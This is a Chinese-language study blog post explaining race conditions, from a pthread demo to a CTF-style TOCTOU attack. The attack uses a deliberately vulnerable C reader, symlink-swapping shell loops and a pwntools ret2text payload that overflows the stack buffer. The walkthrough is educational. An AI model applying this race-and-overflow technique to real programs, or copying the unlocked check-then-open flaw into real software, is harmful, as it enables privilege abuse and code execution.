竞争冒险Race Condition , 又叫竞争条件. 最初源自逻辑电路中两个电信号的竞争. 由于你电计科数电不讲这玩意, 所以我也不知道是啥. 在后来的计算机软件中, 由于并行进程访问同一个资源也可能造成竞争性的冲突, 这个词也就沿用了下来.
学过操作系统的都知道, 如果两个并行的进程或线程对同一个资源的访问不是原子的, 那么就很可能出现意想不到的情况. 比如下面这个简单的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
int shared ;
void * thread1 () {
while ( 1 ) {
shared = 1 ;
printf ( "thread1: %d \n " , shared );
}
}
void * thread2 () {
while ( 1 ) {
shared = 2 ;
printf ( "thread2: %d \n " , shared );
}
}
int main () {
pthread_t t1 , t2 ;
pthread_create ( & t1 , NULL , thread1 , NULL );
pthread_create ( & t2 , NULL , thread2 , NULL );
sleep ( 5 );
return 0 ;
}
“理论上” 来说, 输出只可能是 thread1: 1
或者 thread2: 2
, 但我们把它编译运行, 看一看结果:
输出结果
可以看到, 程序输出了若干条不符合我们预期的结果. 这就是简单的一个竞争冒险的例子.
为什么会出现这样的情况呢? 原因在于两个线程对同一个资源进行了操作, 且 “赋值并输出” 这一整个操作不是 “原子” 操作. 当 thread1 运行完 shared = 1;
, thread2 恰巧运行了 shared = 2;
, 然后 thread 1 在输出的时候, 就会变成 printf("thread1: %d", 2);
.
既然存在竞争冒险的行为是不安全的, 那我们能否利用它呢? 答案是肯定的. 下面以 CTF Wiki 上的例子来说明如何利用 (有修改).
考虑下面这样的程序:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void backdoor () { write ( 1 , "hacked! \n " , 8 ); }
void vuln ( char * file , char * buf ) {
int number ;
int index = 0 ;
int fd = open ( file , O_RDONLY );
if ( fd == - 1 ) {
perror ( "open file failed!!" );
return ;
}
while ( 1 ) {
number = read ( fd , buf + index , 128 );
if ( number <= 0 ) {
break ;
}
index += number ;
}
buf [ index + 1 ] = '\x00' ;
}
void check ( char * file ) {
struct stat tmp ;
if ( strcmp ( file , "flag" ) == 0 ) {
puts ( "file can not be flag!!" );
exit ( 0 );
}
stat ( file , & tmp );
if ( tmp . st_size > 255 ) {
puts ( "file size is too large!!" );
exit ( 0 );
}
}
int main ( int argc , char * argv [ argc ]) {
char buf [ 256 ];
if ( argc == 2 ) {
check ( argv [ 1 ]);
vuln ( argv [ 1 ], buf );
} else {
puts ( "Usage ./prog <filename>" );
}
return 0 ;
}
这个程序的功能是读取一个不大于 256 字节的文件. 其中, check 函数检查大小, 通过检查以后在 vuln 函数中打开文件并读取到 buf 中. 注意到, 检查文件大小到打开文件这一整个操作, 不是 “原子” 的, 或者说得更通俗一点, 没有对文件加锁 . 如果在检查通过之后, 打开文件之前, 文件改变了, 那么就有可能读取更多的字节到 buf 上, 从而造成栈溢出.
首先, 我们用 -fno-stack-protector
和 -fno-pie -fno-pic -no-pie
选项编译这个程序, 即关闭 canary 和 PIE. 然后我们写两个脚本, 一个用于运行程序, 一个用于改变文件, 尝试造成竞争冒险.
1
2
3
4
5
#!/bin/sh
for i in ` seq 3000`
do
./test fake
done
1
2
3
4
5
6
7
8
#!/bin/sh
for i in ` seq 1000`
do
echo something_less_than_256_bytes > fake
rm fake
ln -s payload fake
rm fake
done
其中, payload 是能够 ret2text 到 backdoor 函数的文件, 生成脚本如下:
1
2
3
4
from pwn import *
test = ELF ( './test' )
payload = b 'a' * 0x100 + b 'b' * 8 + p64 ( test . symbols [ 'backdoor' ])
open ( 'payload' , 'wb' ) . write ( payload )
这个地方使用软链接而不 copy 的原因在于, copy 需要读和写, 耗时较多, 而软链接很快. 如果无论如何也不能在 检查通过后, 到文件读取前这段时间 内不能改变文件 (比如 copy 耗时比这段时间长), 那么就无法造成竞争冒险了.
我们并行运行这两个脚本, 查看输出. 这里并行用了一个小技巧, 即把一个程序放到后台 (命令后加 &
), 然后用 &&
连接符连接两个命令:
竞争冒险攻击
可以看到, 我们成功进行了栈溢出并 ret2text.
疑惑
输出里还能够看到段错误, 太菜了暂时没理解为什么.